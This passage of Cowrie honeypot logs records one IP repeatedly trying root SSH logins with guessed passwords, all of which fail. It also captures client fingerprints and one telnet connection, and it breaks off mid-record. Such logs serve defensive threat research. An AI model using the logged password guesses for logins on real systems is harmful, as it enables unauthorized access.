{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:08.932642Z","src_ip":"60.165.124.241","session":"e519fb1a9ef1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"level3","message":"login attempt [root/level3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:09.705199Z","src_ip":"60.165.124.241","session":"e519fb1a9ef1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:10.963665Z","src_ip":"60.165.124.241","session":"e519fb1a9ef1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39234,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5157b7be6ee","protocol":"ssh","message":"New connection: 60.165.124.241:39234 (10.17.0.5:22) [session: d5157b7be6ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:11.183093Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:11.188039Z","src_ip":"60.165.124.241","session":"d5157b7be6ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:11.426216Z","src_ip":"60.165.124.241","session":"d5157b7be6ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123@mudar","message":"login attempt [root/123@mudar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:12.146458Z","src_ip":"60.165.124.241","session":"d5157b7be6ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:13.389047Z","src_ip":"60.165.124.241","session":"d5157b7be6ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42186,"dst_ip":"10.17.0.5","dst_port":22,"session":"e62047f5af1c","protocol":"ssh","message":"New connection: 60.165.124.241:42186 (10.17.0.5:22) [session: e62047f5af1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:13.622525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:13.631161Z","src_ip":"60.165.124.241","session":"e62047f5af1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:13.871969Z","src_ip":"60.165.124.241","session":"e62047f5af1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"M^stBechgd1","message":"login attempt [root/M^stBechgd1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:14.593120Z","src_ip":"60.165.124.241","session":"e62047f5af1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:15.836124Z","src_ip":"60.165.124.241","session":"e62047f5af1c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45062,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5ecdb4d44a0","protocol":"ssh","message":"New connection: 60.165.124.241:45062 (10.17.0.5:22) [session: b5ecdb4d44a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:16.070408Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:16.077516Z","src_ip":"60.165.124.241","session":"b5ecdb4d44a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:16.316372Z","src_ip":"60.165.124.241","session":"b5ecdb4d44a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wqwqwq","message":"login attempt [root/wqwqwq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:17.041348Z","src_ip":"60.165.124.241","session":"b5ecdb4d44a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:18.283627Z","src_ip":"60.165.124.241","session":"b5ecdb4d44a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.96.1.110","src_port":43870,"dst_ip":"10.17.0.5","dst_port":23,"session":"3724e6ec3daf","protocol":"telnet","message":"New connection: 102.96.1.110:43870 (10.17.0.5:23) [session: 3724e6ec3daf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:18.466419Z"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48214,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e6ed8c9a474","protocol":"ssh","message":"New connection: 60.165.124.241:48214 (10.17.0.5:22) [session: 1e6ed8c9a474]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:18.538500Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:18.544489Z","src_ip":"60.165.124.241","session":"1e6ed8c9a474","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:18.792941Z","src_ip":"60.165.124.241","session":"1e6ed8c9a474","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa111111","message":"login attempt [root/Aa111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:19.545878Z","src_ip":"60.165.124.241","session":"1e6ed8c9a474","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:20.799193Z","src_ip":"60.165.124.241","session":"1e6ed8c9a474","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51476,"dst_ip":"10.17.0.5","dst_port":22,"session":"deea1bbfc87d","protocol":"ssh","message":"New connection: 60.165.124.241:51476 (10.17.0.5:22) [session: deea1bbfc87d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:21.020497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:21.025934Z","src_ip":"60.165.124.241","session":"deea1bbfc87d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:21.265481Z","src_ip":"60.165.124.241","session":"deea1bbfc87d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Sachin@123","message":"login attempt [root/Sachin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:21.981968Z","src_ip":"60.165.124.241","session":"deea1bbfc87d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:23.222352Z","src_ip":"60.165.124.241","session":"deea1bbfc87d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54262,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6b89946dfb4","protocol":"ssh","message":"New connection: 60.165.124.241:54262 (10.17.0.5:22) [session: a6b89946dfb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:23.459731Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:23.464033Z","src_ip":"60.165.124.241","session":"a6b89946dfb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:23.706667Z","src_ip":"60.165.124.241","session":"a6b89946dfb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123456","message":"login attempt [root/QWEqwe123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:24.438465Z","src_ip":"60.165.124.241","session":"a6b89946dfb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:25.685658Z","src_ip":"60.165.124.241","session":"a6b89946dfb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":57404,"dst_ip":"10.17.0.5","dst_port":22,"session":"8aae5b5a7f82","protocol":"ssh","message":"New connection: 60.165.124.241:57404 (10.17.0.5:22) [session: 8aae5b5a7f82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:25.921758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:25.926724Z","src_ip":"60.165.124.241","session":"8aae5b5a7f82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:26.167050Z","src_ip":"60.165.124.241","session":"8aae5b5a7f82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2025","message":"login attempt [root/Server2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:26.888433Z","src_ip":"60.165.124.241","session":"8aae5b5a7f82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:28.127813Z","src_ip":"60.165.124.241","session":"8aae5b5a7f82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":60444,"dst_ip":"10.17.0.5","dst_port":22,"session":"9442ebfb65d3","protocol":"ssh","message":"New connection: 60.165.124.241:60444 (10.17.0.5:22) [session: 9442ebfb65d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:28.381276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:12:28.388939Z","src_ip":"60.165.124.241","session":"9442ebfb65d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 